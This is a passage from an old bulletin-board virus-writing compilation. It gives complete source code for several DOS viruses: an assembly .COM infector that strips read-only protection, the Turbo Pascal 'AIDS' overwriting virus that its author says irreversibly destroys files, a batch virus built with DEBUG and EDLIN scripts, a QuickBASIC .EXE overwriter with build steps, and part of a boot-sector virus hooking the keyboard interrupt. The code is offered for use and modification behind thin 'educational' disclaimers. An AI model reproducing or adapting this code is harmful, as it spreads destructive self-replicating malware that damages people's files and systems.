  717.       JZ  USE_NEXT_SUBDIR       ;|
  718.  
  719. FIND_NEXT_SUBDIR:               ;| Search for the next sub-dir, if no more
  720.       MOV AH,4FH                ;| are found, the (search for next subdir)
  721.       INT 21                    ;| drive will be changed.
  722.       JC CHANGE_DISK            ;|
  723.       DEC BX                    ;|
  724.       JNZ FIND_NEXT_SUBDIR      ;|
  725.  
  726. USE_NEXT_SUBDIR:      
  727.       MOV AH,2FH                ;| Select found directory. (get dta address)
  728.       INT 21                    ;|
  729.       ADD BX,1CH                ;|
  730.       MOV ES:[BX],W"\"          ;| (address of name in dta)
  731.       INC BX                    ;|
  732.       PUSH DS                   ;|
  733.       MOV AX,ES                 ;|
  734.       MOV DS,AX                 ;|
  735.       MOV DX,BX                 ;|
  736.       MOV AH,3B                 ;| (change path)
  737.       INT 21                    ;|
  738.       POP DS                    ;|
  739.       MOV BX,CS:COUNTER         ;|
  740.       INC BX                    ;|
  741.       MOV CS:COUNTER,BX         ;|
  742.  
  743. FIND_FIRST_FILE:                ;| Find first .COM file in the current dir.
  744.       MOV AH,04E                ;| If there are none, (Search for first)
  745.       MOV CX,00000001B          ;| search the next directory. (mask)
  746.       LEA DX,MASKE_COM          ;|
  747.       INT 21                    ;|
  748.       JC FIND_FIRST_SUBDIR      ;|
  749.       JMP CHECK_IF_ILL          ;|
  750.  
  751. FIND_NEXT_FILE:                 ;| If program is ill (infected) then search
  752.       MOV AH,4FH                ;| for another. (search for next)
  753.       INT 21                    ;|
  754.       JC FIND_FIRST_SUBDIR      ;|
  755.  
  756. CHECK_IF_ILL:                   ;| Check if already infected by virus.
  757.       MOV AH,3D                 ;| (open channel)
  758.       MOV AL,02                 ;| (read/write)
  759.       MOV DX,9EH                ;| (address of name in dta)
  760.       INT 21                    ;|
  761.       MOV BX,AX                 ;| (save channel)
  762.       MOV AH,3FH                ;| (read file)
  763.       MOV CH,BUFLEN             ;|
  764.       MOV DX,BUFFER             ;| (write in buffer)
  765.       INT 21                    ;|
  766.       MOV AH,3EH                ;| (close file)
  767.       INT 21                    ;|
  768.       MOV BX,CS:[BUFFER]        ;| (look for three NOP's)
  769.       CMP BX,9090               ;| 
  770.       JZ FIND_NEXT_FILE         ;|
  771.  
  772.       MOV AH,43                 ;| This section by-passes (write enable)
  773.       MOV AL,0                  ;| the MS/PC DOS Write Protection.
  774.       MOV DX,9EH                ;| (address of name in dta)
  775.       INT 21                    ;|
  776.       MOV AH,43                 ;|
  777.       MOV AL,01                 ;|
  778.       AND CX,11111110B          ;|
  779.       INT 21                    ;|
  780.  
  781.       MOV AH,3D                 ;| Open file for read/write (open channel)
  782.       MOV AL,02                 ;| access (read/write)
  783.       MOV DX,9EH                ;| (address of name in dta)
  784.       INT 21                    ;|
  785.  
  786.       MOV BX,AX                 ;| Read date entry of program and (channel)
  787.       MOV AH,57                 ;| save for future use. (get date)
  788.       MOV AL,0                  ;|
  789.       INT 21                    ;|
  790.       PUSH CX                   ;| (save date)
  791.       PUSH DX                   ;|
  792.  
  793.       MOV DX,CS:[CONTA W]       ;| The jump located at 0100h (save old jmp)
  794.       MOV CS:[JMPBUF],DX        ;| the program will be saved for future use.
  795.       MOV DX,CS:[BUFFER+1]      ;| (save new jump)
  796.       LEA CX,CONT-100           ;|
  797.       SUB DX,CX                 ;|
  798.       MOV CS:[CONTA],DX         ;|
  799.  
  800.       MOV AH,57                 ;| The virus now copies itself to (write date)
  801.       MOV AL,1                  ;| to the start of the file.
  802.       POP DX                    ;| 
  803.       POP CX                    ;| (restore date)
  804.       INT 21                    ;|
  805.       MOV AH,3EH                ;| (close file)
  806.       INT 21                    ;|
  807.  
  808.       MOV DX,CS:[JMPBUF]        ;| Restore the old jump address. The virus
  809.       MOV CS:[CONTA],DX         ;| at address "CONTA" the jump which was at the
  810.                                 ;| start of the program. This is done to
  811. HOPS:                           ;| preserve the executability of the host
  812.       NOP                       ;| program as much as possible. After saving,
  813.       CALL USE_OLD              ;| it still works with the jump address in the
  814.                                 ;| virus. The jump address in the virus differs
  815.                                 ;| from the jump address in memory
  816.     
  817. CONT  DB  0E9                   ;| Continue with the host program (make jump)
  818. CONTA DW  0                     ;|
  819.       MOV AH,00                 ;|
  820.       INT 21                    ;|
  821.  
  822. USE_OLD:
  823.       MOV AH,0E                 ;| Reactivate the selected (use old drive)
  824.       MOV DL,CS:DRIVE           ;| drive at the start of the program, and
  825.       INT 21                    ;| reactivate the selected path at the start
  826.       MOV AH,3B                 ;| of the program.(use old drive)
  827.       LEA DX,OLD_PATH-1         ;| (get old path and backslash)
  828.       INT 21                    ;| 
  829.       RET                       ;|
  830.  
  831. SEARCH_ORDER DB 0FF,1,0,2,3,0FF,00,0FF
  832.  
  833. POINTER      DW   0000          ;| (pointer f. search order)
  834. COUNTER      DW   0000          ;| (counter f. nth. search) 
  835. DISKS        DB   0             ;| (number of disks)
  836. MASKE_COM    DB "*.COM",00      ;| (search for com files)
  837. MASKE_DIR    DB "*",00          ;| (search for dir's)
  838. MASKE_EXE    DB 0FF,0,0,0,0,0,00111111XB
  839.              DB 0,"????????EXE",0,0,0,0
  840.              DB 0,"????????COM",0
  841. MASKE_ALL    DB 0FF,0,0,0,0,0,00111111XB
  842.              DB 0,"???????????",0,0,0,0
  843.              DB 0,"????????COM",0
  844.  
  845. BUFFER EQU 0E00                 ;| (a safe place)
  846.  
  847. BUFLEN EQU 208H                 ;| Length of virus. Modify this accordingly
  848.                                 ;| if you modify this source. Be careful
  849.                                 ;| for this may change!
  850.  
  851. JMPBUF EQU BUFFER+BUFLEN        ;| (a safe place for jmp)
  852.  
  853. PATH  DB "\",0                  ;| (first place)
  854. DRIVE DB 0                      ;| (actual drive)
  855. BACK_SLASH DB "\"
  856. OLD_PATH DB 32 DUP (?)          ;| (old path)
  857. 
  858. Downloaded From P-80 International Information Systems 304-744-2253
  859. [2.6]
  860.  +-------------------------------+     +--------------------------------------+
  861.  |                               |  P  |                                      |
  862.  |  @@@@@@@  @@@@@@@@  @@@@@@@@  |  *  |   #####    #####    ####     #####   |
  863.  |  @@       @@    @@     @@     |  R  |   #   #      #      #   #    #       |
  864.  |  @@       @@    @@     @@     |  *  |   #####      #      #   #    #####   |
  865.  |  @@       @@@@@@@@     @@     |  E  |   #   #      #      #   #        #   |
  866.  |  @@       @@           @@     |  *  |   #   #    #####    ####     #####   |
  867.  |  @@       @@           @@     |  S  |                                      |
  868.  |  @@@@@@@  @@        @@@@@@@@  |  *  +--------------------------------------+
  869.  |                               |  E  |     A NEW AND IMPROVED VIRUS FOR     |
  870.  +-------------------------------+  *  |          PC/MS DOS MACHINES          |
  871.  |       C O R R U P T E D       |  N  +--------------------------------------+
  872.  |                               |  *  |     CREATED BY: DOCTOR DISSECTOR     |
  873.  |     P R O G R A M M I N G     |  T  |FILE INTENDED FOR EDUCATIONAL USE ONLY|
  874.  |                               |  *  |  AUTHOR NOT RESPONSIBLE FOR READERS  |
  875.  |   I N T E R N A T I O N A L   |  S  |DOES NOT ENDORSE ANY ILLEGAL ACTIVITYS|
  876.  +-------------------------------+     +--------------------------------------+
  877.  
  878.  Well well, here it is... I call it AIDS... It infects all COM files, but it is
  879.  not perfect, so it will also change the date/time stamp to the current system.
  880.  Plus, any READ-ONLY attributes will ward this virus off, it doesn't like them!
  881.  
  882.  Anyway, this virus was originally named NUMBER ONE, and I modified the code so
  883.  that it would fit my needs. The source code, which is included with this neato
  884.  package was written in Turbo Pascal 3.01a. Yeah I know it's old, but it works.
  885.  
  886.  Well, I added a few things, you can experiment or mess around with it if you'd
  887.  like to, and add any mods to it that you want, but change the name and give us
  888.  some credit if you do.
  889.  
  890.  The file is approximately 13k long, and this extra memory will be added to the
  891.  file it picks as host. If no more COM files are to be found, it picks a random
  892.  value from 1-10, and if it happens to be the lucky number 7, AIDS will present
  893.  a nice screen with lots of smiles, with a note telling the operator that their
  894.  system is now screwed, I mean permanantly. The files encrypted containing AIDS
  895.  in their code are IRREVERSIBLY messed up. Oh well...
  896.  
  897.  Again, neither CPI nor the author of Number One or AIDS endorses this document
  898.  and program for use in any illegal manner. Also, CPI, the author to Number One
  899.  and AIDS is not responsible for any actions by the readers that may prove harm
  900.  in any way or another. This package was written for EDUCATIONAL purposes only!
  901.  
  902. { Beginning of source code, Turbo Pascal 3.01a }
  903. {C-}
  904. {U-}
  905. {I-}       { Wont allow a user break, enable IO check }
  906.  
  907. { -- Constants --------------------------------------- }
  908.  
  909. Const
  910.      VirusSize = 13847;    { AIDS's code size }
  911.  
  912.      Warning   :String[42]     { Warning message }
  913.      = 'This File Has Been Infected By AIDS! HaHa!';
  914.  
  915. { -- Type declarations------------------------------------- }
  916.  
  917. Type
  918.      DTARec    =Record      { Data area for file search }
  919.      DOSnext  :Array[1..21] of Byte;
  920.                    Attr    : Byte;
  921.                    Ftime,
  922.                    FDate,
  923.                    FLsize,
  924.                    FHsize  : Integer;
  925.                    FullName: Array[1..13] of Char;
  926.                  End;
  927.  
  928. Registers    = Record    {Register set used for file search }
  929.    Case Byte of
  930.    1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
  931.    2 : (AL,AH,BL,BH,CL,CH,DL,DH          : Byte);
  932.    End;
  933.  
  934. { -- Variables--------------------------------------------- }
  935.  
  936. Var
  937.                                { Memory offset program code }
  938.    ProgramStart : Byte absolute Cseg:$100;
  939.                                           { Infected marker }
  940.    MarkInfected : String[42] absolute Cseg:$180;
  941.    Reg          : Registers;                 { Register set }
  942.    DTA          : DTARec;                       { Data area }
  943.    Buffer       : Array[Byte] of Byte;        { Data buffer }
  944.    TestID       : String[42]; { To recognize infected files }
  945.    UsePath      : String[66];        { Path to search files }
  946.                                     { Lenght of search path }
  947.    UsePathLenght: Byte absolute UsePath;
  948.    Go           : File;                    { File to infect }
  949.    B            : Byte;                              { Used }
  950.    LoopVar      : Integer;  {Will loop forever}
  951.  
  952. { -- Program code------------------------------------------ }
  953.  
  954. Begin
  955.   GetDir(0, UsePath);               { get current directory }
  956.   if Pos('\', UsePath) <> UsePathLenght then
  957.     UsePath := UsePath + '\';
  958.   UsePath := UsePath + '*.COM';        { Define search mask }
  959.   Reg.AH := $1A;                            { Set data area }
  960.   Reg.DS := Seg(DTA);
  961.   Reg.DX := Ofs(DTA);
  962.   MsDos(Reg);
  963.   UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
  964.   Reg.AH := $4E;
  965.   Reg.DS := Seg(UsePath);
  966.   Reg.DX := Ofs(UsePath[1]);
  967.   Reg.CX := $ff;          { Set attribute to find ALL files }
  968.   MsDos(Reg);                   { Find first matching entry }
  969.   IF not Odd(Reg.Flags) Then         { If a file found then }
  970.     Repeat
  971.       UsePath := DTA.FullName;
  972.       B := Pos(#0, UsePath);
  973.       If B > 0 then
  974.       Delete(UsePath, B, 255);             { Remove garbage }
  975.       Assign(Go, UsePath);
  976.       Reset(Go);
  977.       If IOresult = 0 Then          { If not IO error then }
  978.       Begin
  979.         BlockRead(Go, Buffer, 2);
  980.         Move(Buffer[$80], TestID, 43);
  981.                       { Test if file already ill(Infected) }
  982.         If TestID <> Warning Then        { If not then ... }
  983.         Begin
  984.           Seek (Go, 0);
  985.                             { Mark file as infected and .. }
  986.           MarkInfected := Warning;
  987.                                                { Infect it }
  988.           BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
  989.           Close(Go);
  990.           Halt;                   {.. and halt the program }
  991.         End;
  992.         Close(Go);
  993.       End;
  994.         { The file has already been infected, search next. }
  995.       Reg.AH := $4F;
  996.       Reg.DS := Seg(DTA);
  997.       Reg.DX := Ofs(DTA);
  998.       MsDos(Reg);
  999.     {  ......................Until no more files are found }
  1000.     Until Odd(Reg.Flags);
  1001. Loopvar:=Random(10);
  1002. If Loopvar=7 then
  1003. begin
  1004.   Writeln(' ');                          {Give a lot of smiles}
  1005. Writeln('');
  1006. Writeln('     ');
  1007. Writeln('                                 ATTENTION:                             ');
  1008. Writeln('      I have been elected to inform you that throughout your process of ');
  1009. Writeln('      collecting and executing files, you have accidentally HÜ¢KΣ     ');
  1010. Writeln('      yourself over; again, that''s PHUCKED yourself over. No, it cannot ');
  1011. Writeln('      be; YES, it CAN be, a âˆšÃ¬Ï„ûs has infected your system. Now what do ');
  1012. Writeln('      you have to say about that? HAHAHAHA. Have HÜÑ with this one and ');
  1013. Writeln('                       remember, there is NO cure for                   ');
  1014. Writeln('                                                                        ');
  1015. Writeln('         â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ     â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ      â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ     ');
  1016. Writeln('        â–ˆâ–ˆâ–ˆâ–’▒▒▒▒▒███     â–’▒▒▒██▒▒▒▒▒▒   â–ˆâ–ˆâ–’▒▒▒▒▒▒███    â–ˆâ–ˆâ–ˆâ–’▒▒▒▒▒▒██    ');
  1017. Writeln('        â–ˆâ–ˆâ–’â–’      â–ˆâ–ˆâ–’        â–ˆâ–ˆâ–’        â–ˆâ–ˆâ–’       â–ˆâ–ˆâ–’   â–ˆâ–ˆâ–’â–’       â–’â–’   ');
  1018. Writeln('        â–ˆâ–ˆâ–’       â–ˆâ–ˆâ–’        â–ˆâ–ˆâ–’        â–ˆâ–ˆâ–’       â–ˆâ–ˆâ–’   â–ˆâ–ˆâ–’             ');
  1019. Writeln('        â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–’        â–ˆâ–ˆâ–’        â–ˆâ–ˆâ–’       â–ˆâ–ˆâ–’   â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ    ');
  1020. Writeln('        â–ˆâ–ˆâ–’▒▒▒▒▒▒▒██▒        â–ˆâ–ˆâ–’        â–ˆâ–ˆâ–’       â–ˆâ–ˆâ–’    â–’▒▒▒▒▒▒▒▒██▒   ');
  1021. Writeln('        â–ˆâ–ˆâ–’       â–ˆâ–ˆâ–’        â–ˆâ–ˆâ–’        â–ˆâ–ˆâ–’       â–ˆâ–ˆâ–’             â–ˆâ–ˆâ–’   ');
  1022. Writeln('        â–ˆâ–ˆâ–’       â–ˆâ–ˆâ–’        â–ˆâ–ˆâ–’        â–ˆâ–ˆâ–’      â–ˆâ–ˆâ–ˆâ–’   â–ˆâ–ˆ       â–ˆâ–ˆâ–ˆâ–’   ');
  1023. Writeln('        â–ˆâ–ˆâ–’       â–ˆâ–ˆâ–’   â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–’â–’    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–’â–’   ');
  1024. Writeln('         â–’â–’        â–’â–’    â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’    â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’      â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’    ');
  1025. Writeln('                                                                        ');
  1026. Writeln('     ');
  1027. REPEAT
  1028. LOOPVAR:=0;
  1029. UNTIL LOOPVAR=1;
  1030. end;
  1031. End.
  1032.  
  1033. { Although this is a primitive virus its effective. }
  1034. { In this virus only the .COM                       }
  1035. { files are infected. Its about 13K and it will     }
  1036. { change the date entry.                            }
  1037. 
  1038. Downloaded From P-80 International Information Systems 304-744-2253
  1039. [2.7]
  1040.  
  1041.                             Batch Viruses
  1042.                             -------------
  1043.  
  1044.  
  1045. Whoever thought that viruses could be in BATCH file.This virus which we        
  1046.  
  1047. are about to see makes use of MS-DOS operating system. This BATCH virus
  1048. uses DEBUG & EDLIN programs.
  1049.  
  1050. Name: VR.BAT
  1051.  
  1052. echo = off         ( Self explanatory)
  1053. ctty nul           ( This is important. Console output is turned off)
  1054. path c:\msdos      ( May differ on other systems )
  1055. dir *.com/w>ind    ( The directory is written on "ind" ONLY name entries)      
  1056.  
  1057. edlin ind<1        ( "Ind" is processed with EDLIN so only file names appear)
  1058. debug ind<2        ( New batch program is created with debug)
  1059. edlin name.bat<3   ( This batch goes to an executable form because of EDLIN)
  1060. ctty con           ( Console interface is again assigned)
  1061. name               ( Newly created NAME.BAT is called.
  1062.  
  1063.  
  1064. In addition to file to this Batch file,there command files,here named 1,2,3
  1065.  
  1066. Here is the first command file:
  1067. -------------------------------
  1068. Name: 1
  1069.  
  1070. 1,4d               ( Here line 1-4 of the "IND" file are deleted )
  1071. e                  ( Save file )
  1072.  
  1073. Here is the second command file:
  1074. --------------------------------
  1075. Name: 2
  1076.  
  1077. m100,10b,f000      (First program name is moved to the F000H address to save)  
  1078.  
  1079. e108 ".BAT"        (Extention of file name is changed to .BAT)
  1080. m100,10b,f010      (File is saved again)
  1081. e100"DEL "         (DEL command is written to address 100H)
  1082. mf000,f00b,104     (Original file is written after this command)
  1083. e10c 2e            (Period is placed in from of extension)
  1084. e110 0d,0a         (Carrige return+ line feed)
  1085. mf010,f020,11f     ( Modified file is moved to 11FH address from buffer area)
  1086. e112 "COPY \VR.BAT" ( COPY command is now placed in front of file)
  1087. e12b od,0a         (COPY command terminated with carriage return + lf)
  1088. rxc                ( The CX register is ... )
  1089. 2c                 ( set to 2CH)
  1090. nname.bat          ( Name it NAME.BAT)
  1091. w                  ( Write )
  1092. q                  ( quit )
  1093.  
  1094.  
  1095. The third command file must be printed as a hex dump because it contains
  1096. 2 control characters (1Ah=Control Z) and this is not entirely printable.
  1097.  
  1098. Hex dump of the third command file:
  1099. -----------------------------------
  1100. Name: 3
  1101.  
  1102. 0100   31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79 
  1103.        1  ,  1  ?        .  .  n  y  y  y  y  y  y  y
  1104. 0110   79 29 0D 32 2C 32 3F 52-20 1A OD 6E 6E 79 79 79
  1105.        y     .  2  ,  ?  ?  r     .  .  n  n  y  y  y
  1106. 0120   79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00
  1107.        y  y  y  y     .  E  .  .  .  .  .  .  .  .  .
  1108.  
  1109.  
  1110. In order for this virus to work VR.BAT should be in the root. This program
  1111. only affects .COM files.
  1112. 
  1113. Downloaded From P-80 International Information Systems 304-744-2253
  1114. [2.8]
  1115.  
  1116.                            Viruses in Basic
  1117.                            ----------------
  1118.  
  1119.  
  1120. Basic is great language and often people think of it as a limited language
  1121. and will not be of any use in creating something like a virus. Well you are
  1122. really wrong. Lets take a look at a Basic Virus created by R. Burger in 1987.
  1123. This program is an overwritting virus and uses (Shell) MS-DOS to infect .EXE
  1124. files.To do this you must compile the source code using a the Microsoft 
  1125. Quick-BASIC.Note the lenght of the compiled and the linked .EXE file and edit
  1126. the source code to place the lenght of the object program in the LENGHTVIR
  1127. variable. BV3.EXE should be in the current directory, COMMAND.COM must be
  1128. available, the LENGHTVIR variable must be set to the lenght of the linked      
  1129.  
  1130. program and remember to use /e parameter when compiling.
  1131.  
  1132.  
  1133.  
  1134. 10 REM ** DEMO  
  1135. 20 REM ** MODIFY IT YOUR OWN WAY IF DESIRED **
  1136. 30 REM ** BASIC DOESNT SUCK 
  1137. 40 REM ** NO KIDDING
  1138. 50 ON ERROR GOTO 670
  1139. 60 REM *** LENGHTVIR MUST BE SET **
  1140. 70 REM *** TO THE LENGHT TO THE **
  1141. 80 REM *** LINKED PROGRAM ***
  1142. 90 LENGHTVIR=2641
  1143. 100 VIRROOT$="BV3.EXE"
  1144. 110 REM *** WRITE THE DIRECTORY IN THE FILE "INH"
  1145. 130 SHELL "DIR *.EXE>INH"
  1146. 140 REM ** OPEN "INH" FILE AND READ NAMES **
  1147. 150 OPEN "R",1,"INH",32000 
  1148. 160 GET #1,1
  1149. 170 LINE INPUT#1,ORIGINAL$
  1150. 180 LINE INPUT#1,ORIGINAL$
  1151. 190 LINE INPUT#1,ORIGINAL$
  1152. 200 LINE INPUT#1,ORIGINAL$  
  1153. 210 ON ERROR GOT 670
  1154. 220 CLOSE#2
  1155. 230 F=1:LINE INPUT#1,ORIGINAL$
  1156. 240 REM ** "%" IS THE MARKER OF THE BV3
  1157. 250 REM ** "%" IN THE NAME MEANS
  1158. 260 REM  ** INFECTED COPY PRESENT 
  1159. 270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210
  1160. 280 ORIGINAL$=MID$(ORIGINAL$,1,13)
  1161. 290 EXTENSIONS$=MID$(ORIGINAL,9,13)
  1162. 300 MID$(EXTENSIONS$,1,1)="."
  1163. 310 REM *** CONCATENATE NAMES INTO FILENAMES **
  1164. 320 F=F+1
  1165. 330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN      
  1166. GOTO 350
  1167. 340 GOTO 320
  1168. 350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$
  1169. 360 ON ERROR GOTO 210
  1170. 365 TEST$=""
  1171. 370 REM ++ OPEN FILE FOUND +++
  1172. 380 OPEN "R",2,OROGINAL$,LENGHTVIR
  1173. 390 IF LOF(2) < LENGHTVIR THEN GOTO 420
  1174. 400 GET #2,2
  1175. 410 LINE INPUT#1,TEST$
  1176. 420 CLOSE#2
  1177. 431 REM ++ CHECK IF PROGRAM IS ILL ++   
  1178. 440 REM ++ "%" AT THE END OF THE FILE MEANS..
  1179. 450 REM ++ FILE IS ALREADY SICK ++
  1180. 460 REM IF MID$(TEST,2,1)="%" THEN GOTO 210
  1181. 470 CLOSE#1
  1182. 480 ORIGINALS$=ORIGINAL$
  1183. 490 MID$(ORIGINALS$,1,1)="%"
  1184. 499 REM ++++ SANE "HEALTHY" PROGRAM ++++
  1185. 510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$
  1186. 520 SHELL C$
  1187. 530 REM *** COPY VIRUS TO HEALTHY PROGRAM ****
  1188. 540 C$="COPY "+VIRROOT$+ORIGINAL$
  1189. 550 SHELL C$
  1190. 560 REM *** APPEND VIRUS MARKER ***
  1191. 570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13
  1192. 580 WRITE#1,ORIGINALS$
  1193. 590 CLOSE#1
  1194. 630 REM ++ OUYPUT MESSAGE ++
  1195. 640 PRINT "INFECTION IN " ;ORIGIANAL$; "  !! BE WARE !!"
  1196. 650 SYSTEM
  1197. 660 REM ** VIRUS ERROR MESSAGE 
  1198. 670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM
  1199. 680 END
  1200.     
  1201.  
  1202. This basic virus will only attack .EXE files. After the execution you will
  1203. see a "INH" file which contains the directory, and the file %SORT.EXE.
  1204. Programs which start with "%" are NOT infected ,they pose as back up copies.
  1205. 
  1206. Downloaded From P-80 International Information Systems 304-744-2253
  1207. ;[2.9]
  1208. ;-----------------------------------------------------------------------;
  1209. ; This virus is of the "FLOPPY ONLY" variety.                           ;
  1210. ; It replicates to the boot sector of a floppy disk and when it gains control  
  1211. ; it will move itself to upper memory.  It redirects the keyboard       ;
  1212. ; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time  ;
  1213. ; it will attempt to infect any floppy it finds in drive A:.            ;
  1214. ; It keeps the real boot sector at track 39, sector 8, head 0           ;
  1215. ; It does not map this sector bad in the fat (unlike the Pakistani Brain)
  1216. ; and should that area be used by a file, the virus                     ;
  1217. ; will die.  It also contains no anti detection mechanisms as does the  ;
  1218. ; BRAIN virus.  It apparently uses head 0, sector 8 and not head 1      ;
  1219. ; sector 9 because this is common to all floppy formats both single     ;
  1220. ; sided and double sided.  It does not contain any malevolent TROJAN    ; 
  1221. ; HORSE code.  It does appear to contain a count of how many times it   ;
  1222. ; has infected other diskettes although this is harmless and the count  ;
  1223. ; is never accessed.                                                    ;
  1224. ;                                                                       ;
  1225. ; Things to note about this virus:                                      ;
  1226. ; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
  1227. ; is its primary (only for that matter) means of reproduction to other  ;
  1228. ; floppy diskettes.  The only way to remove it from an infected system  ;
  1229. ; is to turn the machine off and reboot an uninfected copy of DOS.      ;
  1230. ; It is even resident when no floppy is booted but BASIC is loaded      ;
  1231. ; instead.  Then when ALT-CTRL-DEL is pressed from inside of BASIC,     ;
  1232. ; it activates and infectes the floppy from which the user is           ;
  1233. ; attempting to boot.                                                   ;
  1234. ;                                                                       ;
  1235. ; Also note that because of the POP CS command to pass control to       ;
  1236. ; its self in upper memory, this virus does not to work on 80286        ;
  1237. ; machines (because this is not a valid 80286 instruction).             ;
  1238. ;                                                                       ;
  1239. ; If your assembler will not allow the POP CS command to execute, replace;
  1240. ; the POP CS command with an NOP and then assemble it, then debug that  ;
  1241. ; part of the code and place POP CS in place of NOP at that section.    ;
  1242. ;                                                                       ;
  1243. ; The Norton Utilities can be used to identify infected diskettes by    ;
  1244. ; looking at the boot sector and the DOS SYS utility can be used to     ;
  1245. ; remove it (unlike the Pakistani Brain).                               ;
  1246. ;-----------------------------------------------------------------------;
  1247.                         ;
  1248.     ORG  7C00H               ;
  1249.                         ;
  1250. TOS LABEL     WORD           ;TOP OF STACK
  1251. ;-----------------------------------------------------------------------;
  1252. ; 1. Find top of memory and copy ourself up there. (keeping same offset);
  1253. ; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
  1254. ; 3. Redirect int 9 (keyboard) to ourself in top of memory              ;
  1255. ; 4. Jump to ourself at top of memory                                   ;
  1256. ; 5. Load and execute REAL boot sector from track 40, head 0, sector 8  ;
  1257. ;-----------------------------------------------------------------------;
  1258. BEGIN:   CLI                 ;INITIALIZE STACK
  1259.     XOR  AX,AX               ;
  1260.     MOV  SS,AX               ;
  1261.     MOV  SP,offset TOS       ;
  1262.     STI                 ;
  1263.                         ;
  1264.     MOV  BX,0040H       ;ES = TOP OF MEMORY - (7C00H+512)
  1265.     MOV  DS,BX               ;
  1266.     MOV  AX,[0013H]          ;
  1267.     MUL  BX             ;
  1268.     SUB  AX,07E0H       ;   (7C00H+512)/16
  1269.     MOV  ES,AX               ;
  1270.                         ;
  1271.     PUSH CS             ;DS = CS
  1272.     POP  DS             ;
  1273.                         ;
  1274.     CMP  DI,3456H       ;IF THE VIRUS IS REBOOTING...
  1275.     JNE  B_10           ;
  1276.     DEC  Word Ptr [COUNTER_1]     ;...LOW&HI:COUNTER_1--
  1277.                         ;
  1278. B_10:    MOV  SI,SP     ;SP=7C00  ;COPY SELF TO TOP OF MEMORY
  1279.     MOV  DI,SI               ;
  1280.     MOV  CX,512              ;
  1281.     CLD                 ;
  1282.     REP  MOVSB               ;
  1283.                         ;
  1284.     MOV  SI,CX     ;CX=0          ;SAVE FIRST 32 INT VETOR ADDRESSES TO
  1285.     MOV  DI,offset BEGIN - 128    ;   128 BYTES BELOW OUR HI CODE
  1286.     MOV  CX,128              ;
  1287.     REP  MOVSB               ;
  1288.                         ;
  1289.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  1290.                         ;
  1291.     PUSH ES   ;ES=HI    ;   JUMP TO OUR HI CODE WITH
  1292.     POP  CS
  1293.                         ;
  1294.     PUSH DS   ;DS=0     ;   ES = DS
  1295.     POP  ES             ;
  1296.                         ;
  1297.     MOV  BX,SP          ;   SP=7C00  ;LOAD REAL BOOT SECTOR TO 0000:7C00
  1298.     MOV  DX,CX          ;CX=0        ;DRIVE A: HEAD 0
  1299.     MOV  CX,2708H       ;   TRACK 40, SECTOR 8
  1300.     MOV  AX,0201H       ;   READ SECTOR
  1301.     INT  13H            ;   (common to 8/9 sect. 1/2 sided!)
  1302.     JB   $              ;   HANG IF ERROR
  1303.                         ;
  1304.     JMP  JMP_BOOT       ;JMP 0000:7C00
  1305.                         ;
  1306. ;-----------------------------------------------------------------------;
  1307. ; SAVE THEN REDIRECT INT 9 VECTOR                                       ;
  1308. ;                                                                       ;
  1309. ; ON ENTRY:   DS = 0                                                    ;
  1310. ;        ES = WHERE TO SAVE OLD_09 & (HI)                               ;
  1311. ;             WHERE NEW_09 IS         (HI)                              ;
  1312. ;-----------------------------------------------------------------------;
  1313. PUT_NEW_09:                  ;
  1314.     DEC  Word Ptr [0413H]    ;TOP OF MEMORY (0040:0013) -= 1024
  1315.                         ;
  1316.     MOV  SI,9*4              ;COPY INT 9 VECTOR TO
  1317.     MOV  DI,offset OLD_09    ;   OLD_09 (IN OUR HI CODE!)
  1318.     MOV  CX,0004             ;
  1319.                         ;
  1320.     CLI                 ;
  1321.     REP  MOVSB               ;
  1322.     MOV  Word Ptr [9*4],offset NEW_09
  1323.     MOV  [(9*4)+2],ES        ;
  1324.     STI                 ;
  1325.                         ;
  1326.     RET                 ;
  1327.                         ;
  1328. ;-----------------------------------------------------------------------;
  1329. ; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR                              ;
  1330. ;-----------------------------------------------------------------------;
  1331. ACK_KEYBD:                   ;
  1332.     IN   AL,61H              ;RESET KEYBOARD THEN CONTINUE
  1333.     MOV  AH,AL               ;
  1334.     OR   AL,80H              ;
  1335.     OUT  61H,AL              ;
  1336.     XCHG AL,AH               ;
  1337.     OUT  61H,AL              ;
  1338.     JMP  RBOOT               ;
  1339.                         ;
  1340. ;-----------------------------------------------------------------------;
